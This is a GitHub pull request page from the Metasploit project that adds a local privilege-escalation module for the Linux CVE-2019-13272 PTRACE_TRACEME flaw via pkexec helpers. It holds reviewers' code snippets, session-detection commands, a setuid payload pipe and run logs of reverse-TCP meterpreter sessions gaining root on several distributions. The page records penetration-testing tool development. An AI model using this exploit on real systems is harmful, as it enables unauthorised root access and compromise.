Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix #12104, add CVE-2019-13272 PTRACE_TRACEME linux local exploit #12106

Merged
merged 16 commits into from Oct 23, 2019

Conversation

@timwr
Copy link
Contributor

timwr commented Jul 19, 2019

Fixes #12104

Verification Steps

  1. Start msfconsole
  2. Get a shell or meterpreter session on the target (with gui access, not via ssh)
  3. Do: use exploit/linux/local/pkexec_helper_ptrace
  4. Do: set session #
  5. Do: exploit

TODO

  • Automatically find the right polkit pkexec helper?
  • Compile on the target with gcc / compile locally with Metasm?
  • Documentation
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

This comment has been minimized.

Copy link
@bcoles

bcoles Jul 19, 2019

Contributor

A rudimentary check method.

  def check
    # Introduced in 4.10, but also backported
    # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17
    release = kernel_release
    v = Gem::Version.new release.split('-').first

    if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end

    vprint_good "Kernel version #{release} appears to be vulnerable"

    unless command_exists? 'pkexec'
      vprint_error 'pkexec is not installed'
      return CheckCode::Safe
    end

    vprint_good 'pkexec is installed'

    CheckCode::Appears
  end

The bug was introduced in v4.10 but also stable-backported to older versions (which likely also means 3.x versions - I'm going to presume 2.x is not affected); and reportedly fixed in the following Kernel versions:

  • 4.4.185
  • 4.9.185
  • 4.14.133
  • 4.19.58
  • 5.1.17

Given that distro kernel versioning is completely different, checking for < 5.1.17 is a good start.

It may also be a good idea to check for SELinux, with something like:

    if selinux_installed?
      if selinux_enforcing?
        vprint_error 'SELinux is enforcing'
        return CheckCode::Safe
      end
      vprint_good 'SELinux is permissive'
    else
      vprint_good 'SELinux is not installed'
    end

(I haven't tested with SELinux's deny_ptrace)

Edit: I've tested with SELinux's deny_ptrace and confirmed it prevented exploitation.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Jul 20, 2019

Detect when we don't have an active pkexec session (e.g over ssh)?

Some potential methods to detect a valid policykit session:

Edit: I've taken the following lazy approach in the C exploit. I'd rather throw a warning than fail outright.

  if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
    dprintf("[!] Warning: Could not find active PolKit agent\n");
    return 1;
  }

The Metasploit module check method could take a more aggressive stance to bailing out, forcing the user to override with set ForceExploit true.

Blind invokation of pkexec

Locally:

$ pkexec --disable-internal-agent pkexec
Error executing command as another user: Request dismissed

Note: Request dismissed, as an auth popup was thrown (and closed manually).

Comparatively, over SSH:

$ pkexec --disable-internal-agent /usr/bin/id
Error executing command as another user: No authentication agent found.

Invoke the authentication agent directly

Locally:

$ DISPLAY=:0 /usr/lib/x86_64-linux-gnu/polkit-mate/polkit-mate-authentication-agent-1

** (polkit-mate-authentication-agent-1:5873): WARNING **: 13:29:35.808: Unable to register authentication agent: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: An authentication agent already exists for the given subject
Cannot register authentication agent: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: An authentication agent already exists for the given subject

Comparatively, when executed over SSH:

$ DISPLAY=:0 /usr/lib/x86_64-linux-gnu/polkit-mate/polkit-mate-authentication-agent-1 

(polkit-mate-authentication-agent-1:5891): GLib-CRITICAL **: 13:31:03.405: g_variant_new_string: assertion 'string != NULL' failed

loginctl / Console Kit

$XDG_SESSION_ID combined with parsing of loginctl (or ck-list-sessions on older systems).

Locally:

$ echo XDG_SESSION_ID
c27
$ loginctl --no-ask-password list-sessions
   SESSION        UID USER             SEAT             TTY             
        c2       1000 user             seat0                            
        37       1000 user                                              
        66       1000 user                                              
       c27       1000 user             seat0                            

4 sessions listed.
$ loginctl --no-ask-password show-session $XDG_SESSION_ID | grep Remote
Remote=no

Comparatively, when executed over SSH:

$ loginctl --no-ask-password show-session $XDG_SESSION_ID | grep Remote
Remote=yes
RemoteHost=172.16.191.165

D-BUS

pkcheck wraps the PolicyKit D-Bus interface. This may be the easiest solution; however, it may not exist in$PATH, and requires the policy action name to be passed as an argument (rather than the helper path).

Locally:

$ pkcheck --action-id org.mate.power.backlight-helper --process $$ && echo true
true

Comparatively, when executed over SSH:

$ pkcheck --action-id org.mate.power.backlight-helper --process $$ && echo true
Not authorized.

libsystemd

I'd prefer not to use libsystemd. This will make a mess of portability, and complicate compilation with Metasm.

@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Jul 20, 2019

Automatically find the right polkit pkexec helper?

I've implemented automated searching for viable helpers using pkaction in the C exploit.

I've also implemented automatic targeting to iterate through all known helpers and all potentially viable helpers.

However, I've had to implement a blacklist, as some helpers are not exploitable (despite defining <allow_active>yes</allow_active>) as the helper process dies immediately, before pkexec has a chance to trace the child. Unfortunately, there's no obvious and simple way to determine whether a helper is going to die instantly. Also, some helpers seem to also hang, preventing further exploitation; however, this is rare.

I've also added an optional check command line argument, which performs some rudimentary environment checks.

@bcoles bcoles added the needs-docs label Aug 6, 2019
modules/exploits/linux/local/pkexec_helper_ptrace.rb Outdated Show resolved Hide resolved
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-13272", "exploit" ))
upload_executable_file(exploit_file, exploit_data)
print_status("Executing exploit '#{exploit_file}'")
result = cmd_exec("echo #{payload_file} | #{exploit_file}")

This comment has been minimized.

Copy link
@bcoles

bcoles Aug 6, 2019

Contributor

This should probably be executed as a background process with | #{exploit_file} &, so as to prevent hanging the original session. However, this will prevent printing output from the exploit.

Another approach would be to pipe chown 0:0 #{payload_file}; chmod 04755 #{payload_file} to the exploit. That way, output from the exploit can be retrieved, and the metasploit module can check whether exploitation was successful by checking if the payload was set-uid successfully.

This comment has been minimized.

Copy link
@timwr

timwr Aug 6, 2019

Author Contributor

I think the exploit should be executed synchronously (in the foreground), with only the payload part being forked and executed in the background.
I went with adding PrependFork as a default option in the payload to fix this. Alternatively we could fork within the actual exploit.

This comment has been minimized.

Copy link
@bcoles

bcoles Oct 5, 2019

Contributor

The exploit will likely hang on patched systems. If the session is a shell session, it will die.

This comment has been minimized.

Copy link
@timwr

timwr Oct 10, 2019

Author Contributor

I can't reproduce this. For me the exploit completes without a session on both shell and meterpreter sessions on a patched system.

modules/exploits/linux/local/pkexec_helper_ptrace.rb Outdated Show resolved Hide resolved
@timwr timwr force-pushed the timwr:cve_2019_13272 branch from da82bfa to 9796814 Aug 6, 2019
@timwr timwr force-pushed the timwr:cve_2019_13272 branch from 887e119 to 557e242 Sep 3, 2019
@timwr timwr force-pushed the timwr:cve_2019_13272 branch from 557e242 to 415caaf Sep 3, 2019
@timwr timwr marked this pull request as ready for review Sep 3, 2019
@timwr

This comment has been minimized.

Copy link
Contributor Author

timwr commented Sep 3, 2019

I think this is ready now, apologies for the delay.

timwr added 2 commits Sep 3, 2019
@bcoles bcoles added the docs label Oct 5, 2019
@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Oct 5, 2019

Tested on Linux Mint 19 (x64) (with compile set to True and False).

msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] Kernel version 4.15.0-20-generic appears to be vulnerable
[+] pkexec is installed
[*] Writing '/tmp/.fhtfesbrk' (286 bytes) ...
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.cdvgvmhzwzf.c' (9718 bytes) ...
[*] Executing exploit '/tmp/.cdvgvmhzwzf'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.211
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.211:38916) at 2019-10-05 17:16:28 -0400
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[!] Warning: Could not find active PolKit agent
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/sbin/mate-power-backlight-helper
[.] Using helper: /usr/sbin/mate-power-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.191.211 - Meterpreter session 2 closed.  Reason: User exit
msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > 

Tested on Fedora Workstation 30-1.2 (x64) (with compile set to True and False).

msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] Kernel version 5.0.9-301.fc30.x86_64 appears to be vulnerable
[+] pkexec is installed
[*] Writing '/tmp/.hriuessd' (286 bytes) ...
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Writing '/tmp/.zevspqljsjjm.c' (9718 bytes) ...
[*] Executing exploit '/tmp/.zevspqljsjjm'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.252
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[!] Warning: Could not find active PolKit agent
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/libexec/gsd-wacom-led-helper
[.] Using helper: /usr/libexec/gsd-wacom-led-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
[*] Meterpreter session 5 opened (172.16.191.165:4444 -> 172.16.191.252:51148) at 2019-10-05 17:49:09 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > 
timwr and others added 2 commits Oct 10, 2019
Co-Authored-By: bcoles <bcoles@gmail.com>
timwr added 2 commits Oct 10, 2019
@timwr timwr force-pushed the timwr:cve_2019_13272 branch from 07cfd53 to 3b5d0b9 Oct 23, 2019
@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Oct 23, 2019

CentOS 8 kernel 4.18.0-80.el8.x86_64

msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] Kernel version 4.18.0-80.el8.x86_64 appears to be vulnerable
[+] pkexec is installed
[+] System architecture x86_64 is supported
[*] Writing '/tmp/.jislkcipcs' (286 bytes) ...
[*] Max line length is 65537
[*] Writing 286 bytes in 1 chunks of 859 bytes (octal-encoded), using printf
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Max line length is 65537
[*] Writing 9718 bytes in 1 chunks of 35136 bytes (octal-encoded), using printf
[*] Executing exploit '/tmp/.ecrdhrsfweac'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.218
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/libexec/gsd-wacom-led-helper
[.] Using helper: /usr/libexec/gsd-wacom-led-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.218:58590) at 2019-10-23 09:30:38 -0400

rootndmeterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
rootndmeterpreter > 

Ubuntu 18.04 kernel 4.15.0-20-generic

msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] Kernel version 4.15.0-20-generic appears to be vulnerable
[+] pkexec is installed
[+] System architecture x86_64 is supported
[*] Writing '/tmp/.zbnnrfjy' (286 bytes) ...
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Executing exploit '/tmp/.mjjahoeeph'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.253
[*] Meterpreter session 6 opened (172.16.191.165:4444 -> 172.16.191.253:54464) at 2019-10-23 09:42:30 -0400
[+] Deleted /tmp/.zbnnrfjy
[+] Deleted /tmp/.mjjahoeeph
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[!] Warning: Could not find active PolKit agent
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid

rootndmeterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
rootndmeterpreter > 

Debian 10 kernel 4.19.0-5-amd64

msf5 exploit(linux/local/ptrace_traceme_pkexec_helper) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] Kernel version 4.19.0-5-amd64 appears to be vulnerable
[+] pkexec is installed
[+] System architecture x86_64 is supported
[*] Writing '/tmp/.dthlxro' (286 bytes) ...
[+] gcc is installed
[*] Live compiling exploit on system...
[*] Executing exploit '/tmp/.neouovzy'
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3021284 bytes) to 172.16.191.133
[*] Exploit result:
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[!] Warning: Could not find active PolKit agent
[~] Done, looks good
[.] Searching for known helpers ...
[~] Found known helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Using helper: /usr/lib/gnome-settings-daemon/gsd-backlight-helper
[.] Spawning suid process (/usr/bin/pkexec) ...
[.] Tracing midpid ...
[~] Attached to midpid
[*] Meterpreter session 8 opened (172.16.191.165:4444 -> 172.16.191.133:44530) at 2019-10-23 09:49:29 -0400

rootndmeterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
rootndmeterpreter > 
bcoles added a commit that referenced this pull request Oct 23, 2019
@bcoles bcoles merged commit 8c93b21 into rapid7:master Oct 23, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
@bcoles bcoles added the rn-modules label Oct 23, 2019
msjenkins-r7 added a commit that referenced this pull request Oct 23, 2019
@bcoles

This comment has been minimized.

Copy link
Contributor

bcoles commented Oct 23, 2019

Release Notes

This PR adds a Linux Polkit pkexec helper PTRACE_TRACEME local root exploit module for CVE-2019-13272 (aka ptrace_traceme_root), which exploits a vulnerability in ptrace_link in kernel/ptrace.c before Linux kernel 5.1.17 to gain root privileges when executed within the context of a session with an active local Policy Kit agent.

It also adds a Msf::Post::Linux::Compile mixin which consolidates several methods regularly used for uploading and executing local exploits on Linux systems.

@timwr timwr deleted the timwr:cve_2019_13272 branch Nov 13, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
2 participants
You can’t perform that action at this time.